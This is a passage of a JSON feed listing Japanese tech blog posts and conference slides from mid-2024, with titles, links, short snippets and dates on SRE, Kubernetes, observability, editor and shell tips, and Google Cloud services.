Pi 4 での USB Strage Driver","link":"https://blog.1q77.com/2024/07/raspberry-pi4-usb-strage-driver/","contentSnippet":"おうちの Raspberry Pi4 は USB で SSD Driver を接続して Samba で File Server にしているわけですが 多くの Read/Write を行うとなぜか OS ごと Hangup するという問題がありました。 最初は電源不足かなと思","isoDate":"2024-07-20T10:19:30.000Z","dateMiliSeconds":1721470770000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"モダンインフラの基礎を学ぼう!実践コンテナ入門","link":"https://speakerdeck.com/bells17/motaninhuranoji-chu-woxue-hou-shi-jian-kontenaru-men","contentSnippet":"技育CAMPアカデミアでの発表資料です\\rhttps://talent.supporterz.jp/events/8cb9a300-506c-4d9d-b2af-e9924e0209a2/","isoDate":"2024-07-17T04:00:00.000Z","dateMiliSeconds":1721188800000,"authorName":"bells17","authorId":"bells17"},{"title":"Grafana Beylaの出来るコト出来ないコト","link":"https://zenn.dev/kojake_300/articles/4238a66124d095","contentSnippet":"この記事は、2024/6/28に登壇したJagu\'e\'r Jagu\'e\'r O11y-SRE \xd7 CloudNative コラボ Meetupのリマスターになります。 分散トレーシングの悩み突然ですが皆さん、分散トレーシングを実装する際、一度はこんなことを考えた経験はありませんか?特にクラウドインフラ出身の私は、意気揚々と分散トレーシングを実装しようとした時に、アプリケーションコードが書けずに全く歯が立たなかった苦い経験があります。。。でも、、ということで、本記事ではBeylaとは何者なのか、従来の分散トレーシングとは何が違うのかを解説していきます!\uD83D\uDCAA 分散トレーシ...","isoDate":"2024-07-15T15:07:47.000Z","dateMiliSeconds":1721056067000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"「Efficient Linux コマンドライン」から学んだこと","link":"https://zenn.dev/moz_sec/articles/2a849651de3fe1","contentSnippet":"はじめに本記事では、「Efficient Linux コマンドライン」を読んで、私自身が新たに学んだことについてメモしています。私がすでに知っていた情報については本記事に書いていないため、興味があればお手元に買って読んでみてください。この記事には書いていないこともたくさん書いてあります。この本の対象読者としては、Linuxの勉強を1からしたい人というよりは、Linuxをそこそこ触ったことがある人になると思います。\\"そこそこ触ったことがある\\"のレベルとしては、コマンドでディレクトリを変更したり、プログラムを実行したりしていれば十分です。336ページとそこまで長くもなく、またLi...","isoDate":"2024-07-15T08:51:51.000Z","dateMiliSeconds":1721033511000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"ShellScriptで自動化を楽にしたい時に知っておいても良いこと","link":"https://sreake.com/blog/shellscript-good-practices/","contentSnippet":"はじめに こんにちは、皆さん。今日は、シェルスクリプトを使った高度な自動化のベストプラクティスとパターンについて解説します。これらは、ちょっとした知識で実行でき、作業を大幅に効率化できるTipsです。シェルスクリプトは、 […]The post ShellScriptで自動化を楽にしたい時に知っておいても良いこと first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-14T23:08:45.000Z","dateMiliSeconds":1720998525000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Keycloakの歴史とSSO","link":"https://speakerdeck.com/melanmeg/keycloaknoli-shi-tosso","contentSnippet":"社内LT","isoDate":"2024-07-13T04:00:00.000Z","dateMiliSeconds":1720843200000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"Pull requestの概要の作成とコードの改善を提案するツールを作ってみた","link":"https://sreake.com/blog/pr-guardian/","contentSnippet":"1. はじめに はじめまして、Sreake事業部でインターンをしている村山です。 今回は、PR Guardianというツールの開発と検証をしました。PR GuardianはPull Requestの概要の作成、コードの改 […]The post Pull requestの概要の作成とコードの改善を提案するツールを作ってみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-09T11:10:06.000Z","dateMiliSeconds":1720523406000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Platform Engineering と SRE の門 ","link":"https://speakerdeck.com/nwiizo/platform-engineering-to-sre-nomen","contentSnippet":"Platform Engineering とSREの門 というタイトルで登壇しました。入門のタイポではありません。\\r\\rイベント名: Platform Engineering Kaigi 2024\\rイベントURL:https://www.cnia.io/pek2024/\\r\\r登壇ブログ:『Platform Engineering とSREの門』という間違ったみたいなタイトルで登壇しました。 #PEK2024\\rhttps://syu-m-5151.hatenablog.com/entry/2024/07/09/215147","isoDate":"2024-07-09T04:00:00.000Z","dateMiliSeconds":1720497600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"AWS SNSでエラー通知させ、SLOについて考える","link":"https://speakerdeck.com/melanmeg/aws-snsdeeratong-zhi-sase-slonituitekao-eru","contentSnippet":"以下、登壇資料。\\rJAWS-UG SRE支部 #9 初心者LT大会\\rhttps://jawsug-sre.connpass.com/event/321380/","isoDate":"2024-07-08T04:00:00.000Z","dateMiliSeconds":1720411200000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛","link":"https://sreake.com/blog/sponsor/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は 2024年8月6日(火)に東京ミッドタウンで開催される「PagerDuty on Tour TOKYO 2024」にGold […]The post スリーシェイク、PagerDuty on Tour TOKYO 2024 にGoldスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-05T01:19:54.000Z","dateMiliSeconds":1720142394000,"authorName":"Sreake","authorId":"Sreake"},{"title":"soci-snapshotter によるコンテナの起動時間削減について","link":"https://sreake.com/blog/container-lazy-pull-soci-snapshotter/","contentSnippet":"はじめに 近年、機械学習を使ったアプリケーションの需要が高まっており、Kubernetes と GPU を組み合わせて使うパターンが多く存在します。その中で問題となることの 1 つが、コンテナイメージのサイズが大きくなる […]The post soci-snapshotter によるコンテナの起動時間削減について first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-03T09:04:51.000Z","dateMiliSeconds":1719997491000,"authorName":"Sreake","authorId":"Sreake"},{"title":"space-agonを通して触るゲームインフラ","link":"https://sreake.com/blog/learn-game-infrastructure-from-space-agon/","contentSnippet":"はじめに Sreake 事業部でインターンをしている小川です。主にパブリッククラウド周辺に触れながら、 Kubernetes 関連の OSS の技術検証・調査をしています。 本調査では、Agones と Open Mat […]The post space-agonを通して触るゲームインフラ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-07-03T09:04:48.000Z","dateMiliSeconds":1719997488000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Lookerでもpivotがしたい!!","link":"https://zenn.dev/nedoko_dok0dko/articles/8c70b7bfa0cef4","contentSnippet":"whatLooker上でpivotテーブルができるかを調べてやってみたメモ Q. Lookerでpivotできるの…?A.できるhttps://www.cloudskillsboost.google/course_templates/323/video/432948?locale=jaLooker自身の仕様上、ExcelやLooker Studioのような操作感と少し違う点に注意。 対応グラフ表グラフ表グラフ(レガシー) やってみるExplorerを利用してできるので、簡単なデータを入れたテーブルを用意してやってみる。 利用環境データソース:...","isoDate":"2024-07-02T14:05:01.000Z","dateMiliSeconds":1719929101000,"authorName":"seno","authorId":"seno"},{"title":"eBPFで計装はノーコードの時代へ Grafana Beylaの出来るコト出来ないコト","link":"https://speakerdeck.com/kojake_300/ebpfdeji-zhuang-hanokodonoshi-dai-he-grafana-beylanochu-lai-rukotochu-lai-naikoto","contentSnippet":"","isoDate":"2024-07-01T04:00:00.000Z","dateMiliSeconds":1719806400000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"【Kubernetes☸️】\\"Findy 開発生産性 Conference\\" に登壇","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2024/07/01/120000","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️プラットフォーム設計導入のために、横断的コミュニケーションが必要であるプラットフォームエンジニアリングで、マルチプロダクトの生産性を支えるプラットフォームエンジニアリングで、各マイクロサービスの生産性を支える発表スライドから得られる知識イベント名発表スライド登壇映像文字起こし謝辞イベント名オッス!オラ長谷川!✋\uD83C\uDFFB『マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計』ていうテーマで、 Findy 開発生産性 Conference に登壇したぞ!https://developer-productivity-engineering.connpass.com/event/314507/発表スライドみんな!スライドぜってぇ見てくれよな!『Findy開発生産性Conference』の発表資料です✊\uD83C\uDFFBオラたちのプラットフォームエンジニアリング事例を紹介してっから、ぜってぇ見てくれよな!✋\uD83C\uDFFB#開発生産性con_findyhttps://t.co/DjqztPn9z4— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) June 28, 2024 ちな、発表内容はこの記事にも関連してるぜ!登壇映像Findyさんが登壇の映像を公開してくれました\uD83C\uDFA5文字起こしFindyさんが発表を文字起こししてくれました\uD83D\uDDE3️謝辞感謝するぜ!イベントで出会えた全ての方々に!!!\uD83E\uDEF6\uD83C\uDFFB株式会社スリーシェイクのブースにお邪魔させていただきました\uD83D\uDE4C#3shake_inc pic.twitter.com/W7ufgaKfbS— すてにゃん (@stefafafan) June 29, 2024","isoDate":"2024-07-01T03:00:00.000Z","dateMiliSeconds":1719802800000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"♾️ マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計","link":"https://speakerdeck.com/hiroki_hasegawa/marutipurodakutonozu-zhi-demaikurosabisuakitekutiyawozhi-erucicdpuratutohuomushe-ji","contentSnippet":"\\"Findy開発生産性Conference\\" の発表資料です✊\uD83C\uDFFB\\r\\r生産性を支えるためのプラットフォームエンジニアリング事例として、以下の3つの取り組みを紹介しました!\\r\\r・プラットフォーム設計導入のために、横断的コミュニケーションが必要である\\r・プラットフォームエンジニアリングで、マルチプロダクトの生産性を支える\\r・プラットフォームエンジニアリングで、各マイクロサービスの生産性を支える\\r\\r❓ はてなぶろぐ記事:https://hiroki-hasegawa.hatenablog.jp/entry/2024/07/01/120000\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1806559579180011572\\r\\r✍\uD83C\uDFFB 社内レポート:https://note.3-shake.com/n/n8efac1be167d\\r\\r\uD83D\uDDE3️ 発表文字起こし:https://findy-code.io/engineer-lab/dev-productivity-con-2024-3shake","isoDate":"2024-06-28T04:00:00.000Z","dateMiliSeconds":1719547200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"運用者の各領域で向き合うLLM","link":"https://speakerdeck.com/nwiizo/yun-yong-zhe-noge-ling-yu-dexiang-kihe-ullm","contentSnippet":"運用者の各領域で向き合うLLM というタイトルで登壇しました。\\r\\rイベント名: Cloud Operator Days Tokyo 2024 \\rイベントURL:https://cloudopsdays.com/","isoDate":"2024-06-28T04:00:00.000Z","dateMiliSeconds":1719547200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"ReckonerとATBeX Service LinkのGCP接続を検証してみた","link":"https://sreake.com/blog/reckoner-atbex-service-link-gcp/","contentSnippet":"はじめに Sreake事業部のsatokenです。 普段はお客様向けのSRE案件も担当していますが、弊社SaaSのReckonerのSREも兼務しています。 これまでReckonerからDataソースにアクセスするときは […]The post ReckonerとATBeX Service LinkのGCP接続を検証してみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-06-25T07:15:31.000Z","dateMiliSeconds":1719299731000,"authorName":"Sreake","authorId":"Sreake"},{"title":"SKKの接頭辞・接尾辞変換をvim-skk/skkeletonに追加した","link":"https://blog.atusy.net/2024/06/21/skkeleton-affix/","contentSnippet":"Vim駅伝の2024/6/21の記事です。SKKは快適な日本語入力を実現する素敵なインプットメソッドです。WindowsやmacOSなどOS本体向けの実装もあるのですが、Vim向けにもskkeletonやtusskといった実装があります。ddskkです。","isoDate":"2024-06-21T00:00:00.000Z","dateMiliSeconds":1718928000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Packer + Ansible で ftp-server: No such file or directory でコケたら","link":"https://qiita.com/yteraoka/items/9576de9392fc5db6053a","contentSnippet":"事象久々に packer + ansible で AWS の AMI を作成しようとしたら次のようなエラーでコケてしまいました。fatal: [default]: UNREACHABLE! =>…","isoDate":"2024-06-19T15:32:52.000Z","dateMiliSeconds":1718811172000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"[Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介","link":"https://sreake.com/blog/kubecon-eu-2024-cloud-native-ai-dayreducing-cross-zone-egress-at-spotify-with-custom-grpc-load-balancing/","contentSnippet":"はじめに こんにちは、Sreake事業部の永瀬滉平です! 今回はKubeCon EU 2024に参加してきましたので、中でも気になったセッションをピックアップしてご紹介したいと思います。 セッションについて 取り上げるセ […]The post [Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-06-19T01:18:15.000Z","dateMiliSeconds":1718759895000,"authorName":"Sreake","authorId":"Sreake"},{"title":"KubernetesにおけるCELの記述方法まとめ","link":"https://sreake.com/blog/kubernetes-cel-description/","contentSnippet":"はじめに Kubernetes 1.30でValidating Admission Policyの機能がGAするなど、開発中の新機能にCELが組み込まれるケースが増えています。今後Kubernetesで使われる機会が増え […]The post KubernetesにおけるCELの記述方法まとめ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-06-12T03:33:38.000Z","dateMiliSeconds":1718163218000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Vimのj/kを加速させるサブモード","link":"https://blog.atusy.net/2024/06/12/vim-submode-jjjj/","contentSnippet":"Vim駅伝の2024/6/12の記事です。Vimmerならついなんとはなしにj/kしちゃうこともありますし、とか使いなよと分かってても長距離j/kしちゃうこともありますよね。ryhsd/accelerated-jkがあります。","isoDate":"2024-06-12T00:00:00.000Z","dateMiliSeconds":1718150400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google CloudのRapid evaluation APIを利用したLLMの評価手法","link":"https://sreake.com/blog/google-cloud-rapid-evaluation-api-verification/","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、LLMの評価手法とし […]The post Google CloudのRapid evaluation APIを利用したLLMの評価手法 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-06-10T09:31:15.000Z","dateMiliSeconds":1718011875000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud主催パートナー向けイベントで「Google Cloud で利用できるRDBのベクトル検索を徹底解剖!」を話しました。","link":"https://zenn.dev/nnaka2992/articles/compare_vector_searches_on_google_clouds_rdb","contentSnippet":"2024年6月5日にGoogle Cloudがパートナー向けに開催したデータ関連の非公開イベントで「Google Cloud で利用できるRDBのベクトル検索を徹底解剖!」というLTを話しました。https://speakerdeck.com/nnaka2992/google-cloud-deli-yong-dekirurdbnobekutorujian-suo-woche-di-jie-pou非公開イベントのため録画がなかったり、LT枠だった関係で省略してしまった部分があったりしたためブログでより詳細な説明資料のようなものを書きました。 背景Google Cloudが提供する...","isoDate":"2024-06-09T22:00:00.000Z","dateMiliSeconds":1717970400000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"k6導入 ~ k6 browserでE2Eテストまでにやってきたことのまとめ","link":"https://zenn.dev/melanmeg/articles/78df5703c9da2b","contentSnippet":"はじめにzenn初めてみました✋スカイウイルでインフラエンジニアをしております。案件でk6の調査/実装をする機会があったのでまとめてみました。中でもk6 browserは実験的なモジュールということもあってか関連する記事が少ないため、今回の記事が役に立てればと思います。 k6とはパフォーマンステストおよび負荷テストのためのオープンソースツールであり、Webアプリのパフォーマンスを評価するために利用できます。https://k6.io/docs/以下のような特徴があります並列実行が可能JavaScriptでテストシナリオを記述CLI外部統合の容易さグラフ...","isoDate":"2024-06-09T06:20:45.000Z","dateMiliSeconds":1717914045000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"可観測性ガイダンス","link":"https://speakerdeck.com/nwiizo/ke-guan-ce-xing-kaitansu","contentSnippet":"可観測性ガイダンスというタイトルで登壇してきました。\\r\\rイベント名: オブザーバビリティ再入門 - 大切さと高め方を知ろう!\\rイベントURL: https://mackerelio.connpass.com/event/316449/\\r\\r\\r# ブログでいくつかの可観測性に関する書籍のまとめを投稿しました。\\r5年後には標準になっている可観測性のこと - Learning Opentelemetry の読書感想文\\rhttps://syu-m-5151.hatenablog.com/entry/2024/04/16/180511\\r\\rもう一度読むObservability Engineering\\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/06/090014\\r\\r盲目的に始めないためのオブザーバビリティ実践ガイド - Cloud Observability in Actionの読書感想文\\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/10/121047","isoDate":"2024-06-04T04:00:00.000Z","dateMiliSeconds":1717473600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREに求められるスキルと心構え","link":"https://sreake.com/blog/sre-required-skills-and-mindset/","contentSnippet":"はじめに こんにちは、最近の私の人生はキックボクシングとコーディングの2つの活動に極端に偏りつつあります。nwiizoです。一見正反対のようなこの2つの活動ですが、共通する本質があります。それは、頭で考えるだけでなく、実 […]The post SREに求められるスキルと心構え first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-06-03T01:56:04.000Z","dateMiliSeconds":1717379764000,"authorName":"Sreake","authorId":"Sreake"},{"title":"gh searchでOSS貢献を振り替える","link":"https://blog.atusy.net/2024/06/03/gh-search-merged-prs/","contentSnippet":"ghコマンド、ベンリですね。こんな感じで、公開レポジトリに作ったPRの内、マージされたものを一発で集計できちゃいます。今のところ、59レポジトリに167PRをマージしてもらったみたいです。","isoDate":"2024-06-03T00:00:00.000Z","dateMiliSeconds":1717372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Remixでフロントエンド入門してみた","link":"https://blog.atusy.net/2024/06/03/remix-beginner/","contentSnippet":"ぼちぼちフロントエンドなるもんもやってみたいなーと思い、Remixに入門してみました。フロントエンドの経験は、仕事でちょっとVue2を触ったことがあるのと、3年ほど前にReactのチュートリアルをやったことがあるくらい。特に拘りはなく、同僚がおすすめしてたRemixに手を出してみることにしました。","isoDate":"2024-06-03T00:00:00.000Z","dateMiliSeconds":1717372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"fishの起動時間","link":"https://blog.atusy.net/2024/06/02/fish-startuptime/","contentSnippet":"fishの起動時間はfish -i -c \\"fish_prompt; exit 0\\"の実行時間で測るとよさそうです。-iオプションにより設定ファイルの実行時間を含む-cオプションにfish_promptを呼ぶことでプロンプトの決定にかかる時間を含むコマンドのベンチマークに便利なhyperfineを使うとこんな感じ。平均45.8msとのことで、十分に高速かと思います。","isoDate":"2024-06-02T00:00:00.000Z","dateMiliSeconds":1717286400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"fishでzshのhistoryも参照したい","link":"https://blog.atusy.net/2024/05/30/fish-history/","contentSnippet":"先日、fish使い始めたとの話をしたところですが、移行にあたり、Zshのコマンド履歴を使えないことが苦痛になりました。そんな時も、さっと設定できちゃうFishはステキ。~/.zsh_history)と、Fishのコマンド履歴(historyコマンドの出力)を合体させて、fzfで選択すれば両方の履歴を使えます。","isoDate":"2024-05-30T00:00:00.000Z","dateMiliSeconds":1717027200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"H/LとPageUp/PageDownを共存させる設定 (submode編)","link":"https://blog.atusy.net/2024/05/29/vim-hl-enhanced/","contentSnippet":"この記事は、Vim駅伝の2024年5月29日の記事です。22日の記事でH/LとPageUp/PageDownを共存させる設定の紹介がありました。https://zenn.dev/vim_jp/articles/20240522_ekiden_better_hlHとLは通常では、表示領域内の最初の行や最後の行にカーソルを移動させるコマンドです。連打しやすい割に、連打する意味がない、惜しい存在ですが、スクロール機能も持たせるのは良いアイデアですね。","isoDate":"2024-05-29T00:00:00.000Z","dateMiliSeconds":1716940800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"fish使い始めた","link":"https://blog.atusy.net/2024/05/27/fish/","contentSnippet":"長く、Zshを使っていましたが、Fishに移行しました。ノープラグインでOKなくらい高機能で工夫せずとも20msで起動するのは快適でいいです。ネット上のコマンドをコピペした時もそんなに込まらなさそう。","isoDate":"2024-05-27T00:00:00.000Z","dateMiliSeconds":1716768000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud SQL for PostgreSQLのベクトル検索を試す","link":"https://zenn.dev/nnaka2992/articles/play_with_cloud_sql_vector_search","contentSnippet":"Google Cloud Next \'24でGoogle Cloudが提供するすべてのマネージドデータベースにベクトル検索の機能が追加されました。[1]今回はそのなかのCloud SQL for PostgreSQLにフォーカスしてベクトル検索機能を試します。 Cloud SQL for PostgreSQL インスタンススペックエディションEnterprisevCPU2RAM8GBストレージタイプSSDZoneasia-northeast1接続パブリックIPを有効化 必要な設定を行うデータベースを作成す...","isoDate":"2024-05-26T15:54:14.000Z","dateMiliSeconds":1716738854000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Geminiはトーク分析ツールに取って代わるか","link":"https://sreake.com/blog/gemini-talk-analysis/","contentSnippet":"はじめに 初めまして、Sreake事業部アプリケーション開発支援チームの大美です。 先日、Googleのマルチモーダル生成AIモデル Gemini 1.5 Pro のコンテキストウィンドウが100万→200万トークンにア […]The post Geminiはトーク分析ツールに取って代わるか first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-24T10:28:39.000Z","dateMiliSeconds":1716546519000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計","link":"https://sreake.com/blog/google-cloud-prompt-design/","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、Google Clo […]The post Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-24T09:52:32.000Z","dateMiliSeconds":1716544352000,"authorName":"Sreake","authorId":"Sreake"},{"title":"セキュリティ人材になるために/becoming a security personnel","link":"https://speakerdeck.com/moz_sec_/becoming-a-security-personnel","contentSnippet":"2024年5月23日に行われたランチタイムトークで登壇した資料です。","isoDate":"2024-05-23T04:00:00.000Z","dateMiliSeconds":1716436800000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Kubernetes Code Contribution入門","link":"https://speakerdeck.com/bells17/kubernetes-code-contributionru-men","contentSnippet":"Kubernetes Novice Tokyo #32 で登壇したセッションの資料です。\\rhttps://k8s-novice-jp.connpass.com/event/317561/\\r\\r配信URL:\\rhttps://www.youtube.com/live/sRLG9ufaZ4M","isoDate":"2024-05-21T04:00:00.000Z","dateMiliSeconds":1716264000000,"authorName":"bells17","authorId":"bells17"},{"title":"Neovimの端っこで\\\\lとかしたら、WeztermのとなりのPaneに移動する","link":"https://blog.atusy.net/2024/05/21/move-nvim-win-or-wezterm-pane/","contentSnippet":"Weztermで区切ったPaneの中でNeovimを操作していると、lしたのに隣に移動できないぞ?という気分になるときがあります。右隣はNeovimのWindowではなく、WeztermのPaneですね。","isoDate":"2024-05-21T00:00:00.000Z","dateMiliSeconds":1716249600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Oracle Dataabse 19cの検証環境が欲しいからProxmoxに環境構築する","link":"https://zenn.dev/nnaka2992/articles/install_oracle_19c_to_proxmox","contentSnippet":"概要300年ぶりぐらいに、ローカル環境(非Cloud環境)でホストしたOracle Databaseが欲くなったので、自宅にあるProxmoxへインストールします。 前提Proxmoxにダウンロード済みのOracle Linux 9のイメージを利用する。利用するOracle Databaseは19cとする。検証環境のため本番用途に適した設定ではない。 Proxmox VMを建ち上げる Oracle Database 19cのサーバ要件今回関係あるもののみ抜粋しています。OSOracle Linux 9およびRed Hat互換カーネル: 5.14.0-...","isoDate":"2024-05-19T14:18:18.000Z","dateMiliSeconds":1716128298000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Pulumi コマンド を GitHub Actions で実行する","link":"https://zenn.dev/z63d/articles/0d6b3ee4e9a44e","contentSnippet":"背景副業で Pulumi を使っています。プロバイダーなどのパッケージのバージョン更新をサボっていたのですが、対応しようと思い Renovate で更新するようにしました。しかし、PR が来た時点では Pulumi の差分が分かりません。ローカルで pulumi preview を実行して差分がないことを毎回確認するのは面倒なので GitHub Actions で pulumi preview を実行して PR のコメントで差分を表示してもらうことにしました。 環境Pulumi CloudPulumi + TypeScriptGoogle Cloud 実装していく...","isoDate":"2024-05-18T05:30:31.000Z","dateMiliSeconds":1716010231000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"CloudSQL for PostgreSQLのベンチマークと比較して理解するAlloyDBの特徴","link":"https://zenn.dev/nnaka2992/articles/compare_alloydb_and_postgres","contentSnippet":"概要Google Cloudが提供するPostgreSQL互換データベースであるAlloyDBのパフォーマンスをトランザクション用途・分析用途の双方から検証する。今回の検証ではAlloyDBの上限を見定めるのではなく、CloudSQLと比べてどのようなパフォーマンスになるを目的とする。 TL;DR絞り込み条件がインデックスに限定されない場合、AlloyDBのパフォーマンスメリットが特に大きくなる。絞り込み条件がインデックスに限定され、かつデータサイズが小さい場合、CloudSQL for PostgreSQLのコストパフォーマンスが大きくなる。現将・将来のワークロード...","isoDate":"2024-05-17T15:16:13.000Z","dateMiliSeconds":1715958973000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[Kubernetes 1.30] kube-proxy の nftables モード","link":"https://zenn.dev/toversus/articles/dcb888d73f0615","contentSnippet":"kube-proxyService へのトラフィックをプロキシするコンポーネントのデフォルト実装e.g.) Cluster IP への通信を Pod IP にリダイレクトするEndpointSlice, Service, Node などのオブジェクトの変更を検知して Service を介したトラフィックのルーティングを可能にするContainer Network Interface (CNI) vs kube-proxyCNI が Pod 間で通信できるように Pod IP の払い出しやルーティングをセットアップするPod は一時的なものかつ Pod ...","isoDate":"2024-05-16T23:43:33.000Z","dateMiliSeconds":1715903013000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成","link":"https://sreake.com/blog/cloudsql-spring-boot-image-search-app/","contentSnippet":"はじめに Google Cloud Next ’24 にて Cloud SQL for MySQL にて Embedding データを入れられるようになったというアナウンスが有りました。 https://cl […]The post Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-15T00:02:44.000Z","dateMiliSeconds":1715731364000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Posit Table Contestに`felp::fuzzyhelp()`を投稿した","link":"https://blog.atusy.net/2024/05/13/posit-table-contest/","contentSnippet":"RStudio IDEを開発するPosit PBCがTable Contest: 2024 Editionを開催しています。表を使ったデータの可視化の例を思い思いに投稿してもらい、その中から受賞者を決めて、Tシャツやマグカップなどのノベルティを進呈するプログラムのようです。polarsパッケージを使って投稿した人には特別な受賞枠もあるようです。2022年にも同様のコンテストがありましたが、今年はR言語に限らず、Python言語を使っての投稿もOKとのこと。","isoDate":"2024-05-13T00:00:00.000Z","dateMiliSeconds":1715558400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Dev ContainersとTestcontainers","link":"https://speakerdeck.com/bells17/devcontainerstotestcontainers","contentSnippet":"TechFeed Experts Night#28 〜 コンテナ技術最前線 〜で登壇したセッションの資料です。\\rhttps://techfeed.io/events/techfeed-experts-night-28","isoDate":"2024-05-08T04:00:00.000Z","dateMiliSeconds":1715140800000,"authorName":"bells17","authorId":"bells17"},{"title":"OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた","link":"https://sreake.com/blog/opentelemetry-instrumentation/","contentSnippet":"はじめに はじめまして、スリーシェイクインターン生の有馬祐二と関根弘晃です。私たちは2024年3月18日~3月29日に開催された短期インターンシップに参加しました。私たちのグループではインターンの期間でテレメトリデータの […]The post OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-07T01:32:46.000Z","dateMiliSeconds":1715045566000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~","link":"https://sreake.com/blog/cilium-kube-proxy-replacement/","contentSnippet":"自己紹介 小林 インターン生のの小林です。大学では、ネットワーク系の研究を行っています。もともとセキュリティやネットワークに興味があり、SREやインフラ領域のスキル向上になると思い、本インターンに参加しました。 中村 イ […]The post Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-05T23:59:27.000Z","dateMiliSeconds":1714953567000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Pulumi ESC を使ってみる","link":"https://zenn.dev/z63d/articles/496f787cda423c","contentSnippet":"概要Pulumi ESC (Environments, Secrets, and Configuration)クラウドインフラとアプリケーションの secret と configuration を管理できるPulumi Cloud で利用可能なマネージドサービス2023/10 にリリース現在はプレビュー段階 ドキュメントに記載されている内容をざっくり要約Pulumi ESC はクラウド環境における secret と configuration の複雑さに対処し、メンテナンスの負担を軽減し、コストのかかるミスを減らし、「secure by default」な体制を構...","isoDate":"2024-05-05T04:36:28.000Z","dateMiliSeconds":1714883788000,"authorName":"Kaita 